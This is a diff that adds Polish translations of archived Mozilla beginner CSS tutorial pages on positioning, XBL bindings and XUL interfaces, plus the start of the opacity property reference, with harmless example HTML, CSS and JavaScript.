+<dl><dd>Pozycja elementu jest określona relatywnie do jego normalnej pozycji.
+</dd><dd>Użyj tej wartości, aby przesunąć element o określoną wartość. Czasem możesz użyć marginesu zewnętrznego, aby osiągnąć ten sam efekt.
+</dd></dl>
+<ul><li><code>fixed</code>
+</li></ul>
+<dl><dd>Element będzie przyczepiony.
+</dd><dd>Określa pozycję elementu relatywnie do okna dokumentu. Nawet kiedy reszta dokumentu jest przewijana, element pozostaje w tym samym miejscu.
+</dd></dl>
+<ul><li><code>absolute</code>
+</li></ul>
+<dl><dd>Pozycja elementu jest ustawiana relatywnie do elementu rodzica.
+</dd><dd>Zadziała to tylko wobec elementów, które są pozycjonowane z użyciem <code>relative</code>, <code>fixed</code> lub <code>absolute</code>.
+</dd></dl>
+<dl><dd>Możesz też sprawić, by dowolny element-rodzic mógł zostać zastosowany poprzez określenie mu <code>position: relative;</code> bez podawania wartości przesunięcia.
+</dd></dl>
+<ul><li><code>static</code>
+</li></ul>
+<dl><dd>Domyślne. Użyj tej wartości, aby wyłączyć pozycjonowanie.
+</dd></dl>
+<p>Razem z tymi wartościami własności <code>position</code> (poza <code>static</code>) podaj jedną lub więcej własności: <code>top</code>, <code>right</code>, <code>bottom</code>, <code>left</code>, <code>width</code>, <code>height</code>, aby określić, gdzie chcesz, aby element się pojawił, oraz jego rozmiar.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Przykład
+</caption><tbody><tr>
+<td> Aby umieścić dwa elementy na górze, stwórz kontener rodzica w swoim dokumencie z dwoma elementami w środku:
+<div style="width: 30em;">
+<pre class="eval"> &lt;DIV id="parent-div"&gt;
+ &lt;P id="forward"&gt;/&lt;/P&gt;
+ &lt;P id="back"&gt;\&lt;/P&gt;
+ &lt;/DIV&gt;
+</pre>
+</div>
+<p>W swoim arkuszu stylów nadaj rodzicowi wartość <code>relative</code> własności <code>position</code>.
+Nie musisz podawać żadnego przesunięcia.
+Określ wartość własności <code>position</code> jego dzieci jako <code>absolute</code>:
+</p>
+<div style="width: 30em;"><pre>
+ #parent-div {
+ position: relative;
+ font: bold 200% sans-serif;
+ }
+
+ #forward, #back {
+ position: absolute;
+ margin:0px;
+ top: 0px;
+ left: 0px;
+ }
+
+ #forward {
+ color: blue;
+ }
+
+ #back {
+ color: red;
+ }
+</pre></div>
+<p>Rezultat wygląda tak, z odwrotnym ukośnikiem nad ukośnikiem:
+</p>
+<div style="position: relative; left: .33em; font: bold 300% sans-serif;"> <p style="position: absolute; margin: 0px; top: 0px; left: 0px; color: blue;">/</p> <p style="position: absolute; margin: 0px; top: 0px; left: 0px; color: red;">\</p>
+</div><table style="border: 2px outset #36b; padding: 1em; width: 30em; height: 5em; background-color: white;">
+
+<tbody><tr><td></td></tr></tbody></table>
+<p><br>
+</p>
+</td></tr></tbody></table>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
+<caption>Więcej szczegółów
+</caption><tbody><tr>
+<td> Cały temat pozycjonowania zajmuje dwa skomplikowane rozdziały w specyfikacji CSS: <a class="external" href="http://www.w3.org/TR/CSS21/visuren.html">Visual formatting model</a> oraz <a class="external" href="http://www.w3.org/TR/CSS21/visudet.html">Visual formatting model details</a>.
+<p>Jeżeli tworzysz arkusze stylów, które mają działać w wielu przeglądarkach, musisz także wziąć pod uwagę różnice w sposobie interpretacji standardów oraz prawdopodobne błędy w obsłudze standardów występujące w różnych przeglądarkach.
+</p>
+</td></tr></tbody></table>
+<h3 id="Zadanie:_Definiowanie_uk.C5.82adu" name="Zadanie:_Definiowanie_uk.C5.82adu"> Zadanie: Definiowanie układu </h3>
+<p>Zmień swój przykładowy dokument i arkusz stylów, korzystając z przykładów z sekcji <b>Struktura dokumentu</b> i <b>Pływanie</b>.
+</p><p>W przykładzie z <b>Pływanie</b> dodaj margines wewnętrzny, aby oddzielić tekst od prawej ramki o 0.5 em.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Wyzwanie
+</caption><tbody><tr>
+<td> Zmień swój przykładowy dokument, dodając ten znacznik blisko końca, tuż przed
+<p><code>&lt;/BODY&gt;</code>
+</p>
+<pre>
+ &lt;IMG id="fixed-pin" src="Yellow-pin.png" alt="Yellow map pin"&gt;
+</pre>
+<p>Jeżeli wcześniej nie pobrałeś(aś) pliku obrazka z tego kursu, zrób to teraz:
+</p>
+<table style="border: 2px solid #ccc;">
+<tbody><tr>
+<td><img alt="Image:Yellow-pin.png">
+</td></tr></tbody></table>
+<p>Spróbuj przewidzieć, gdzie ten obrazek pojawi się w dokumencie.
+Potem odśwież okno przeglądarki i sprawdź czy miałeś(aś) rację.
+</p><p>Dodaj regułę do arkusza stylów, która umieści obrazek na stałe w prawym górnym rogu dokumentu.
+</p><p>Odśwież okno przeglądarki i zmniejsz rozmiar okna.
+Sprawdź, czy obrazek nadal pozostaje w górnym prawym rogu, nawet kiedy przewijasz dokument.
+</p>
+<div style="position: relative; width: 29.5em; height: 18em;"> <div style="overflow: auto; border: 2px outset #36b; padding: 1em; width: 29em; height: 16em; background-color: white;"> <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(A) The oceans</p> <div style="float: left; border: 12px solid #69b; margin-bottom: 16px; padding: 0px .5em 0px 1em;"> <ul style=""> <li>Arctic</li> <li>Atlantic</li> <li>Pacific</li> <li>Indian</li> <li>Southern</li> </ul> </div> <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(B) Numbered paragraphs</p> <div style="float: left; border: 12px solid #69b; padding: 0 .5em 0 .5em;"> <p><b>1: </b>Lorem ipsum</p> <p><b>2: </b>Dolor sit</p> <p><b>3: </b>Amet consectetuer</p> <p><b>4: </b>Magna aliquam</p> <p><b>5: </b>Autem veleum</p> </div> <p style=""> </p> <div style="position: absolute; top: 2px; right: 0px;"><img alt="Yellow map pin"></div> </div>
+</div>
+</td></tr></tbody></table>
+<p><br>
+</p>
+<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4>
+<p>Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie <a>Dyskusji</a>.
+</p><p>Właśnie poznałeś(aś) wszystkie zagadnienia należące do podstawowego kursu CSS.
+Następna strona dokładniej opisze zaawansowane selektory dla reguł CSS oraz trochę szczegółów dotyczących tabel: <b><a href="pl/CSS/Na_pocz%c4%85tek/Tabele">Tabele</a></b>
+</p>{{ languages( { "en": "en/CSS/Getting_Started/Layout", "fr": "fr/CSS/Premiers_pas/Mise_en_page", "pt": "pt/CSS/Como_come\u00e7ar/Disposi\u00e7\u00e3o" } ) }}
diff --git a/files/pl/web/css/na_początek/wiązania_xbl/index.html b/files/pl/web/css/na_początek/wiązania_xbl/index.html
new file mode 100644
index 0000000000..9218b33797
--- /dev/null
+++ b/files/pl/web/css/na_początek/wiązania_xbl/index.html
@@ -0,0 +1,176 @@
+---
+title: Wiązania XBL
+slug: Web/CSS/Na_początek/Wiązania_XBL
+tags:
+ - 'CSS:Na_początek'
+translation_of: Archive/Beginner_tutorials/Using_XBL_from_stylesheets
+---
+<p>
+</p><p>Ta strona opisuje jak możesz używać CSS-u w Mozilli, aby poprawić strukturę złożonych aplikacji, sprawiając, że kod i zasoby stają się wygodniejsze do zarządzania i ponownego użycia.
+</p><p>Wykorzystasz te techniki w przykładowej demonstracji.
+</p>
+<h3 id="Informacja:_Wi.C4.85zania_XBL" name="Informacja:_Wi.C4.85zania_XBL"> Informacja: Wiązania XBL </h3>
+<p>Struktura dostarczana przez język znaczników i CSS nie jest idealna dla złożonych aplikacji, gdzie fragmentu muszą być kompletne i umożliwiać ponowne wykorzystanie. Możesz umieścić arkusze stylów w osobnych plikach, możesz umieścić skrypty w osobnych plikach. Ale musisz dodawać odnośniki do tych plików z dokumentu.
+</p><p>Inne ograniczenie strukturalne dotyczy zawartości. Możesz użyć CSS, aby dodać zawartość do wybranych elementów, ale ta zawartość jest ograniczona do tekstu i obrazków, a ich pozycjonowanie jest ograniczone do <i>przed</i> i <i>za</i> wybranym elementem.
+</p><p>Mozilla dodaje mechanizm, który pozwala pokonać te ograniczenia: <i>XBL</i> (Język Wiązań XML).
+Możesz używać XBL-a do wiązania wybranych elementów:
+</p>
+<ul><li>arkuszy stylów,
+</li><li>zawartości,
+</li><li>właściwości i metod,
+</li><li>uchwytów zdarzeń.
+</li></ul>
+<p>Ponieważ unikasz umieszczania odnośników do tego wszystkiego w dokumencie, możesz stworzyć elementy kompletne, którymi łatwo można zarządzać i które można wielokrotnie wykorzystywać.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em; width: 100%;">
+<caption>Więcej szczegółów
+</caption><tbody><tr>
+<td> Aby dowiedzieć się więcej o wiązaniach XBL, zajrzyj na stronę o <a href="pl/XBL">XBL</a> na tym wiki.
+</td></tr></tbody></table>
+<h3 id="Zadanie:_Demonstracja_XBL-a" name="Zadanie:_Demonstracja_XBL-a"> Zadanie: Demonstracja XBL-a </h3>
+<p>Stwórz nowy dokument HTML, <code>doc6.html</code>.
+Skopiuj i wklej do niego poniższy kod:
+</p>
+<div style="width: 48em;"><pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"&gt;
+&lt;HTML&gt;
+
+&lt;HEAD&gt;
+&lt;TITLE&gt;Mozilla CSS Getting Started - XBL demonstration&lt;/TITLE&gt;
+&lt;LINK rel="stylesheet" type="text/css" href="style6.css"&gt;&lt;/strong&gt;
+&lt;/HEAD&gt;
+
+&lt;BODY&gt;
+&lt;H1&gt;XBL demonstration&lt;/H1&gt;
+&lt;DIV id="square"&gt;Click Me&lt;/DIV&gt;
+&lt;/BODY&gt;
+
+&lt;/HTML&gt;
+</pre></div>
+<p>Stwórz nowy plik CSS, <code>style6.css</code>.
+Ten arkusz stylów zawiera style dokumentu.
+Skopiuj i wklej do niego poniższy kod:
+</p>
+<div style="width: 48em;"><pre>/*** XBL demonstration ***/
+#square {
+ -moz-binding: url("square.xbl#square");
+ }
+</pre></div>
+<p>Stwórz nowy plik tekstowy, <code>square.xbl</code>.
+Ten plik zawiera wiązanie XBL.
+Skopiuj i wklej do niego poniższy kod, upewniając się, że zaznaczyłeś(aś) cały:
+</p>
+<div style="width: 48em; height: 12em; overflow: auto;"><pre>&lt;?xml version="1.0"?&gt;
+&lt;!DOCTYPE bindings&gt;
+&lt;bindings xmlns="http://www.mozilla.org/xbl"&gt;
+
+&lt;binding id="square"&gt;
+
+ &lt;resources&gt;
+ &lt;stylesheet src="bind6.css"/&gt;
+ &lt;/resources&gt;
+
+ &lt;content xmlns="http://www.w3.org/1999/xhtml"&gt;
+ &lt;div anonid="square"/&gt;
+ &lt;button anonid="button" type="button"&gt;
+ &lt;xbl:children/&gt;
+ &lt;/button&gt;
+ &lt;/content&gt;
+
+ &lt;implementation&gt;
+
+ &lt;field name="square"&gt;&lt;![CDATA[
+ document.getAnonymousElementByAttribute(this, "anonid", "square")
+ ]]&gt;&lt;/field&gt;
+
+ &lt;field name="button"&gt;&lt;![CDATA[
+ document.getAnonymousElementByAttribute(this, "anonid", "button")
+ ]]&gt;&lt;/field&gt;
+
+ &lt;method name="doDemo"&gt;
+ &lt;body&gt;&lt;![CDATA[
+ this.square.style.backgroundColor = "#cf4"
+ this.square.style.marginLeft = "20em"
+ this.button.setAttribute("disabled", "true")
+ setTimeout(this.clearDemo, 2000, this)
+ ]]&gt;&lt;/body&gt;
+ &lt;/method&gt;
+
+ &lt;method name="clearDemo"&gt;
+ &lt;parameter name="me"/&gt;
+ &lt;body&gt;&lt;![CDATA[
+ me.square.style.backgroundColor = "transparent"
+ me.square.style.marginLeft = "0"
+ me.button.removeAttribute("disabled")
+ ]]&gt;&lt;/body&gt;
+ &lt;/method&gt;
+
+ &lt;/implementation&gt;
+
+ &lt;handlers&gt;
+ &lt;handler event="click" button="0"&gt;&lt;![CDATA[
+ if (event.originalTarget == this.button) this.doDemo()
+ ]]&gt;&lt;/handler&gt;
+ &lt;/handlers&gt;
+
+ &lt;/binding&gt;
+
+&lt;/bindings&gt;
+</pre></div>
+<p>Stwórz nowy plik CSS, <code>bind6.css</code>.
+Ten arkusz stylów zawiera style do wiązań.
+Skopiuj i wklej do niego poniższy kod:
+</p>
+<div style="width: 48em;"><pre>/*** XBL demonstration ***/
+[anonid="square"] {
+ width: 20em;
+ height: 20em;
+ border: 2px inset gray;
+ }
+
+[anonid="button"] {
+ margin-top: 1em;
+ padding: .5em 2em;"
+ }
+</pre></div>
+<p>Otwórz dokument w swojej przeglądarce i naciśnij przycisk.
+</p><p>To wiki nie obsługuje JavaScript-u na stronach, więc nie jest możliwe pokazanie demonstracji.
+Wygląda to mniej więcej tak jak poniżej, przed i po naciśnięciu przycisku:
+</p>
+<table>
+<tbody><tr>
+<td style="padding-right: 2em;">
+<table style="border: 2px outset #36b; padding: 0 4em .5em .5em;">
+<tbody><tr>
+<td><p><b>XBL demonstration</b></p>
+<div style="width: 5em; height: 5em; border: 2px inset gray; background-color: white; margin-right: 5em;">
+<div style="width: 2em; height: 1em; border: 1px outset black; background-color: #ccc; margin-top: 4px;">
+</div></div></td></tr></tbody></table>
+</td><td>
+<table style="border: 2px outset #36b; padding: 0 4em .5em .5em;">
+<tbody><tr>
+<td><p><b>XBL demonstration</b></p>
+<div style="width: 5em; height: 5em; border: 2px inset gray; background-color: #cf4; margin-left: 5em;">
+<div style="width: 2em; height: 1em; border: 1px inset black; background-color: #ccc; margin-top: 4px;">
+</div></div></td></tr></tbody></table>
+</td></tr></tbody></table>
+<p>Uwagi dotyczące demonstracji:
+</p>
+<ul><li>Dokument HTML posiada odnośniki do arkusza stylów, ale także do pliku JavaScript.
+</li><li>Dokument nie posiada żadnego przycisku. Posiada jedynie tekst, który pojawi się na nim. Przycisk jest dodawany przez wiązanie.
+</li><li>Arkusz stylów dokumentu posiada odnośnik do wiązania.
+</li><li>Wiązanie ma odnośnik do własnego arkusza stylów i własną treść oraz kod JavaScript. Wiązanie zawiera własną zawartość.
+</li></ul>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: .5em;">
+<caption>Wyzwanie
+</caption><tbody><tr>
+<td> Zmień plik XBL tak, aby obiekt square poszerzał się dwukrotnie, zamiast przeskakiwania w prawo, kiedy zmienia kolor.
+<p>Użyj Inspektora DOM, aby zbadać dokument, analizując dodaną zawartość.
+</p>
+</td></tr></tbody></table>
+<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4>
+<p>Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie <a>Dyskusji</a>.
+</p><p>W tej demonstracji obiekt square oraz przycisk tworzą kompletną <i>kontrolkę</i>, która działa wewnątrz dokumentu HTML.
+</p><p>Mozilla posiada wyspecjalizowany język znaczników do tworzenia interfejsów użytkownika.
+Demonstruje to następna strona:
+<b><a href="pl/CSS/Na_pocz%c4%85tek/XUL-owe_interfejsy_u%c5%bcytkownika">XUL-owe interfejsy użytkownika</a></b>
+</p>{{ languages( { "en": "en/CSS/Getting_Started/XBL_bindings", "fr": "fr/CSS/Premiers_pas/Liaisons_XBL", "pt": "pt/CSS/Como_come\u00e7ar/XBL_bindings" } ) }}
diff --git a/files/pl/web/css/na_początek/xul-owe_interfejsy_użytkownika/index.html b/files/pl/web/css/na_początek/xul-owe_interfejsy_użytkownika/index.html
new file mode 100644
index 0000000000..c185657258
--- /dev/null
+++ b/files/pl/web/css/na_początek/xul-owe_interfejsy_użytkownika/index.html
@@ -0,0 +1,299 @@
+---
+title: XUL-owe interfejsy użytkownika
+slug: Web/CSS/Na_początek/XUL-owe_interfejsy_użytkownika
+tags:
+ - 'CSS:Na_początek'
+translation_of: Archive/Beginner_tutorials/XUL_user_interfaces
+---
+<p>
+</p><p>Ta strona opisuje specjalny język Mozilli do tworzenia interfejsów.
+</p><p>Stworzysz przykładowy dokument demonstracyjny dla przeglądarek Gecko.
+</p>
+<h3 id="Informacja:_Interfejsy_u.C5.BCytkownika" name="Informacja:_Interfejsy_u.C5.BCytkownika"> Informacja: Interfejsy użytkownika </h3>
+<p>Mimo, że HTML posiada pewne wsparcie dla interfejsów użytkownika, to jest ono niewystarczające do stworzenia samodzielnej aplikacji.
+</p><p>Mozilla pozwala pokonać te ograniczenia poprzez użycie specjalnego języka do tworzenia interfejsów użytkownika: <i>XUL</i> (XML User-interface Language, XML-owy Język Interfejsu Użytkownika, zazwyczaj wymawiany jak "<i>zool</i>").
+</p><p>W XUL-u, wiele często używanych funkcji interfejsu użytkownika jest wbudowanych. Na przykład, XUL dostarcza wyspecjalizowane typy okien jak okna dialogowe czy kreatory (wizards), oraz paski statusu, menu, paski narzędziowe, a nawet przeglądarki.
+</p><p>Bardziej wyspecjalizowane funkcje, mogą zostać zbudowane z elementów przy użyciu XUL-a i innych technologii, które poznałeś(aś) w tym kursie: stylów CSS, kodu JavaScript, wiązań XBL.
+</p><p>Jak inne języki XML-owe, XUL używa arkuszy stylów CSS.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em; width: 100%;">
+<caption>Więcej szczegółów
+</caption><tbody><tr>
+<td> Aby dowiedzieć się więcej o XUL-owych interfejsach użytkownika, zajrzyj na stroną o <a href="pl/XUL">XUL</a>-u na tym wiki.
+</td></tr></tbody></table>
+<h3 id="Zadanie:_Demonstracja_XUL-a" name="Zadanie:_Demonstracja_XUL-a"> Zadanie: Demonstracja XUL-a </h3>
+<p>Stwórz nowy dokument XUL jako czysty plik tekstowy, <code>doc7.xul</code>.
+Skopiuj i wklej do niego poniższy kod, upewniając się, że zaznaczyłeś(aś) cały:
+</p>
+<div style="width: 48em; height: 12em; overflow: auto;"><pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet type="text/css" href="style7.css"?&gt;
+&lt;!DOCTYPE window&gt;
+
+&lt;window
+ xmlns="http&amp;58;//www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
+ title="CSS Getting Started - XUL demonstration"
+ onload="init();"&gt;
+
+&lt;script type="application/x-javascript" src="script7.js"/&gt;
+
+&lt;label class="head-1" value="XUL demonstration"/&gt;
+
+&lt;vbox&gt;
+
+ &lt;groupbox class="demo-group"&gt;
+ &lt;caption label="Day of week calculator"/&gt;
+ &lt;grid&gt;
+ &lt;columns&gt;
+ &lt;column/&gt;
+ &lt;column/&gt;
+ &lt;/columns&gt;
+ &lt;rows&gt;
+ &lt;row&gt;
+ &lt;label class="text-prompt" value="Date:"
+ accesskey="D" control="date-text"/&gt;
+ &lt;textbox id="date-text" type="timed"
+ timeout="750" oncommand="refresh();"/&gt;
+ &lt;/row&gt;
+ &lt;row&gt;
+ &lt;label value="Day:"/&gt;
+ &lt;hbox id="day-box"&gt;
+ &lt;label class="day" value="Sunday" disabled="true"/&gt;
+ &lt;label class="day" value="Monday" disabled="true"/&gt;
+ &lt;label class="day" value="Tuesday" disabled="true"/&gt;
+ &lt;label class="day" value="Wednesday" disabled="true"/&gt;
+ &lt;label class="day" value="Thursday" disabled="true"/&gt;
+ &lt;label class="day" value="Friday" disabled="true"/&gt;
+ &lt;label class="day" value="Saturday" disabled="true"/&gt;
+ &lt;/hbox&gt;
+ &lt;/row&gt;
+ &lt;/rows&gt;
+ &lt;/grid&gt;
+ &lt;hbox class="buttons"&gt;
+ &lt;button id="clear" label="Clear" accesskey="C"
+ oncommand="clearDate();"/&gt;
+ &lt;button id="today" label="Today" accesskey="T"
+ oncommand="setToday();"/&gt;
+ &lt;/hbox&gt;
+ &lt;/groupbox&gt;
+
+ &lt;statusbar&gt;
+ &lt;statusbarpanel id="status"/&gt;
+ &lt;/statusbar&gt;
+
+&lt;/vbox&gt;
+
+&lt;/window&gt;
+</pre></div>
+<p>Stwórz nowy plik CSS, <code>style7.css</code>.
+Skopiuj i wklej do niego poniższy kod, upewniając się, że wkleiłeś(aś) cały:
+</p>
+<div style="width: 48em; height: 12em; overflow: auto;"><pre>/*** XUL demonstration ***/
+window {
+ -moz-box-align: start;
+ background-color: -moz-dialog;
+ font: -moz-dialog;
+ padding: 2em;
+ }
+
+.head-1 {
+ font-weight: bold;
+ font-size: 200%;
+ padding-left: 5px;
+ }
+
+
+/* the group box */
+.demo-group {
+ padding: 1em;
+ }
+
+.demo-group grid {
+ margin-bottom: 1em;
+ }
+
+.demo-group column {
+ margin-right: .5em;
+ }
+
+.demo-group row {
+ margin-bottom: .5em;
+ }
+
+.demo-group .buttons {
+ -moz-box-pack: end;
+ }
+
+
+/* the day-of-week labels */
+.day {
+ margin-left: 1em;
+ }
+
+.day[disabled] {
+ color: #777;
+ }
+
+.day:first-child {
+ margin-left: 4px;
+ }
+
+
+/* the left column labels */
+.text-prompt {
+ padding-top: .25em;
+ }
+
+
+/* the date input box */
+#date-text {
+ max-width: 8em;
+ }
+
+
+/* the status bar */
+statusbar {
+ width: 100%;
+ border: 1px inset -moz-dialog;
+ margin: 4px;
+ padding: 0px 4px;
+ }
+
+#status {
+ padding: 4px;
+ }
+
+#status[warning] {
+ color: red;
+ }
+</pre></div>
+<p>Stwórz nowy plik tekstowy, <code>script7.js</code>.
+Skopiuj i wklej do niego poniższy kod, upewniając się, że zaznaczyłeś(aś) cały:
+</p>
+<div style="width: 48em; height: 12em; overflow: auto;"><pre>// XUL demonstration
+
+var dateBox, dayBox, currentDay, status; // elements
+
+// called by window onLoad
+function init() {
+ dateBox = document.getElementById("date-text")
+ dayBox = document.getElementById("day-box")
+ status = document.getElementById("status")
+ setToday();
+ }
+
+// called by Clear button
+function clearDate() {
+ dateBox.value = ""
+ refresh()
+ }
+
+// called by Today button
+function setToday() {
+ var d = new Date()
+ dateBox.value = (d.getMonth() + 1)
+ + "/" + d.getDate()
+ + "/" + d.getFullYear()
+ refresh()
+ }
+
+// called by Date textbox
+function refresh() {
+ var d = dateBox.value
+ var theDate = null
+
+ showStatus(null)
+ if (d != "") {
+ try {
+ var a = d.split("/")
+ var theDate = new Date(a[2], a[0] - 1, a[1])
+ showStatus(theDate)
+ }
+ catch (ex) {}
+ }
+ setDay(theDate)
+ }
+
+// internal
+function setDay(aDate) {
+ if (currentDay) currentDay.setAttribute("disabled", "true")
+ if (aDate == null) currentDay = null
+ else {
+ var d = aDate.getDay()
+ currentDay = dayBox.firstChild
+ while (d-- &gt; 0) currentDay = currentDay.nextSibling
+ currentDay.removeAttribute("disabled")
+ }
+ dateBox.focus()
+ }
+
+function showStatus(aDate) {
+ if (aDate == null) {
+ status.removeAttribute("warning")
+ status.setAttribute("label", "")
+ }
+ else if (aDate === false || isNaN(aDate.getTime())) {
+ status.setAttribute("warning", "true")
+ status.setAttribute("label", "Date is not valid")
+ }
+ else {
+ status.removeAttribute("warning")
+ status.setAttribute("label", aDate.toLocaleDateString())
+ }
+ }
+</pre></div>
+<p>Aby zobaczyć właściwy wynik, użyj domyślnego motywu w swojej przeglądarce.
+Jeżeli użyjesz innego, może on zmieniać trochę style interfejsu użytkownika i demonstracja może wyglądać dziwnie.
+</p><p>Otwórz ten dokument w przeglądarce Mozilli i skorzystaj z interfejsu.
+</p><p>To wiki nie obsługuje XUL-a ani JavaScript-u na stronach, nie jest więc możliwe pokazanie demonstracji tutaj.
+Wygląda ona mniej więcej tak:
+</p>
+<table style="border: 2px outset #36b; background-color: threedface; padding: 1em; cursor: default; white-space: nowrap; margin: .5em 0;">
+<tbody><tr>
+<td><p style="font-size: 150%; font-weight: bold; margin: 0; padding: 0;">XUL demonstration</p>
+<div style="position: relative; border: 2px groove threedhighlight; margin-top: 1em;">
+<p style="float: left; margin: -1em 0 0 .5em; padding: 0; background-color: threedface;">
+Day of week calculator</p>
+<table style="background-color: threedface; margin: .5em; padding-right: .5em;">
+<tbody><tr>
+<td style="padding-right: .5em;"><u>D</u>ate:
+</td><td style="background-color: white; border: 1px solid #000; width: 8em; float: left; cursor: text; padding: .15em .25em;">6/27/2005
+</td></tr>
+<tr>
+<td>Day:</td><td style="color: graytext;">Sunday <span style="color: #000;">Monday</span> Tuesday Wednesday Thurdsay Friday Saturday
+</td></tr>
+<tr>
+<td>
+</td><td><div style="float: right; margin-top: .5em;">
+<p><span style="border: 2px outset threedface; padding: .25em 1em;"><u>C</u>lear</span>
+<span style="border: 2px outset threedface; padding: .25em 1em;"><u>T</u>oday</span>
+</p>
+</div>
+</td></tr></tbody></table>
+</div>
+<div style="border: 1px inset threedface; margin-top: 1em;">
+<p style="margin: 0; padding: .25em .5em;">June 27, 2005</p>
+</div>
+</td></tr></tbody></table>
+<p>Uwagi dotyczące demonstracji:
+</p>
+<ul><li>Dokument XUL posiada odnośniki do arkuszy stylów, a także do skryptów.
+</li><li>Skrypt nie jest zbyt ważny w tej demonstracji.
+</li><li>Większość stylu, który widzisz, jest określona przez motyw graficzny przeglądarki.
+</li></ul>
+<p>Sprawdź arkusz stylów dokumentu, aby upewnić się, że rozumiesz wszystkie reguły w nim zawarte.
+Jeżeli jest jakaś reguła, której nie rozumiesz, wykomentuj ją i odśwież przeglądarkę, aby zobaczyć różnicę.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Wyzwanie
+</caption><tbody><tr>
+<td> Korzystając z Inspektora DOM sprawdź kontrolkę bloku tekstowego Date. Jest ona złożona z elementów stworzonych przez jej wiązanie XBL.
+<p>Znajdź <i>klasę</i> elementu <code>html:input</code>. To jest element, który przyjmuje dane od użytkownika.
+</p><p>Korzystając z tej wiedzy, dodaj regułę do arkusza stylów, która sprawia, że tło pola Date będzie jasno niebieskie kiedy jest ono aktywne dla klawiatury (ale białe kiedy jest nieaktywne).
+</p>
+</td></tr></tbody></table>
+<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4>
+<p>Jeżeli masz problemy ze zrozumieniem tej strony, lub jeżeli masz jakieś komentarze na jej temat, pomóż nam dopisując się na stronie <a>Dyskusji</a>.
+</p><p>W tej demonstracji, widzisz standardowe, prostokątne kształty, które są wspólne dla większości interfejsów użytkownika.
+Mozilla wspiera także specjalny język graficzny do tworzenia kształtów, którego styl tworzy się w CSS-ie.
+</p><p>Demonstruje to następna strona: <b><a href="pl/CSS/Na_pocz%c4%85tek/Grafika_SVG">Grafika SVG</a></b>
+</p>{{ languages( { "en": "en/CSS/Getting_Started/XUL_user_interfaces", "fr": "fr/CSS/Premiers_pas/Interfaces_utilisateur_XUL", "pt": "pt/CSS/Como_come\u00e7ar/Interfaces_de_usu\u00e1rio_XUL" } ) }}
diff --git a/files/pl/web/css/opacity/index.html b/files/pl/web/css/opacity/index.html
new file mode 100644
index 0000000000..9b3e1504ff
--- /dev/null
+++ b/files/pl/web/css/opacity/index.html
@@ -0,0 +1,180 @@
+---
+title: opacity
+slug: Web/CSS/opacity
+tags:
+ - CSS
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/opacity
+---
+<div>{{ CSSRef() }}</div>
+
+<h2 id="Podsumowanie">Podsumowanie</h2>
+
+<p>Parametr<code> opacity</code> ustala przezroczystość elementu, czyli stopień, w jakim są widoczne elementy za określonym elementem.</p>
+
+<ul>
+ <li><span class="lang lang-en">Wartość początkowa: 1 (nieprzezroczysty)</span></li>
+ <li>Dotyczy: wszystkie elementy</li>
+ <li><span class="lang lang-en">Dziedziczone: nie</span></li>
+ <li>Media: <span class="lang lang-en"> <code><a href="../../en/CSS/Media/Visual" rel="custom">visual</a></code> </span></li>
+ <li><span class="lang lang-en">Wartość obliczona</span>: ustalona liczba (w zakresie [<code>0.0</code>, <code>1.0</code>])</li>
+</ul>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="eval">opacity: <em>number</em> | inherit ;
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>0 (lub mniej)</dt>
+ <dd>Element jest w pełni przezroczysty (niewidoczny)</dd>
+ <dt>0 &lt; liczba &lt; 1</dt>
+ <dd>Element jest półprzezroczysty (tło może być widoczne)</dd>
+ <dt>1 (lub więcej)</dt>
+ <dd>Element jest w pełni nieprzezroczysty (jednolity)</dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre>hbox.example {
+ opacity: 0.5; /* zobacz tło poprzez hbox */
+}
+</pre>
+
+<h4 id="Przykład_kompatybilny_z_różnymi_przeglądarkami">Przykład kompatybilny z różnymi przeglądarkami</h4>
+
+<pre style="">pre { /* make the box translucent (20% nieprzezroczystości) */
+ border: solid red;
+ opacity: 0.2;
+ filter: alpha(opacity=20); /* IE8 i starsze */
+ zoom: 1; /* set "zoom", "width" or "height" to trigger "hasLayout" in IE 7 and lower */
+}
+</pre>
+
+<pre style="">pre { /* make the box translucent (50% nieprzezroczystości) */
+ border: solid red;
+ opacity: 0.5;
+ filter: alpha(opacity=50); /* IE8 i starsze */
+ zoom: 1; /* set "zoom", "width" or "height" to trigger "hasLayout" in IE 7 and lower */
+}
+</pre>
+
+<pre style="">pre { /* make the box translucent (80% nieprzezroczystości) */
+ border: solid red;
+ opacity: 0.8;
+ filter: alpha(opacity=80); /* IE8 i starsze */
+ zoom: 1; /* set "zoom", "width" or "height" to trigger "hasLayout" in IE 7 and lower */
+}
+</pre>
+
+<h4 id="Różna_nieprzezroczystość_z_hover">Różna nieprzezroczystość z :hover</h4>
+
+<pre class="deki-transform">&lt;html&gt;
+&lt;head&gt;
